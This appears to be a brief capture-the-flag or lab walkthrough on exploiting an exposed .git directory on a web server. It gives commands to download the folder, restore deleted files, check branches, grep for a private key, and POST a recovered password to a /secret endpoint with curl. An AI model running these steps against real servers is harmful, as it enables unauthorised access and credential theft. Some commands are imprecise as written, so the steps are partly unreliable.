While you have access to .git folder:
 - Download `.git` folder :
 ```
wget  https://server_address:443/.git
```
 - Check the status:
```
git status 
```
 - If there is some deleted and uncommitted files, it can be restored:
```
git restore 
```

*Else:*
 - Check if there is another branch
```
git branch 
```
 - If there is another branch, switch to it and check if the private key is there:
```
grep -RHi "private key" .
```

Note that `/secret` endpoint accept only POST requests and it will not work if you try to access it in the browser. Consider using Postman or curl instead: 

``` 
curl -d 'password=thedecryptedpass' -X POST https://server_address:443/secret
```